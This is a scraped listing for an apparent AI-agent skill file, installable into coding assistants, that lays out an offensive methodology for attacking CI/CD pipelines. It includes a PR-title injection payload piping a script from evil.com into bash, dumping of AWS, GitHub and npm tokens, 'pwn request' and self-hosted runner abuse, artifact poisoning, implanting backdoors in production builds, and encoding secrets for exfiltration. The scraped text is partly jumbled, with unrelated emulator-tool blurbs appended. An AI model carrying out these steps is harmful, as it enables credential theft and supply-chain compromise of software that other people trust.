offensive-techniques/cicd-technique/SKILL.md
CI/CD supply chain methodology: identifying poisoned pipelines, unsafe GitHub Actions, and extracting build secrets.
npx skillsauth add aeondave/malskill cicd-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: Exploit CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins) to achieve code execution in runners, extract pipeline secrets, or backdoor production artifacts.
If you achieved execution within a pipeline step (e.g., via Poisoned PR):
env, search for AWS_ACCESS_KEY_ID, GITHUB_TOKEN, or $NPM_TOKEN.ACTIONS_ID_TOKEN_REQUEST_URL for OIDC (OpenID Connect) trust to AWS/GCP/Azure.Review the pipeline configuration files (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile).
run: blocks that echo/execute issue names, PR titles, or commit messages without sanitization:
- run: echo "Checking PR title: ${{ github.event.pull_request.title }}"
(A PR titled "; curl http://evil.com/shell.sh | bash; " will execute).pull_request_target Abuse ("pwn request"): Workflows using pull_request_target run with elevated repository permissions and access to secrets. If they explicitly check out the fork's head (ref: ${{ github.event.pull_request.head.sha }}) and then run npm install, make, or any build step, attacker code executes with the workflow's full privileges.runs-on: self-hosted. The first-time contributor gate can be bypassed once any prior PR is merged; the runner then executes attacker code, and persistence (cron/systemd/.bashrc) is often possible because the runner reuses the same workspace between jobs. Named 2024 cases: PyTorch, TensorFlow, Microsoft DeepSpeed.actions/download-artifact without github-token + run-id pinning, and dawidd6/action-download-artifact <v6 (searches forks by default — GHSA-5xr6-xhww-33m4). Also actions/download-artifact <4.1.3 has arbitrary-file-write on extraction (GHSA-cxww-7g56-2vh6).package.json), you can implant backdoors natively into the production deployment cycle.env | grep outputs (secrets are log-masked; base64/hex-encode before exfil) sent to an out-of-band (OAST) collector.development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.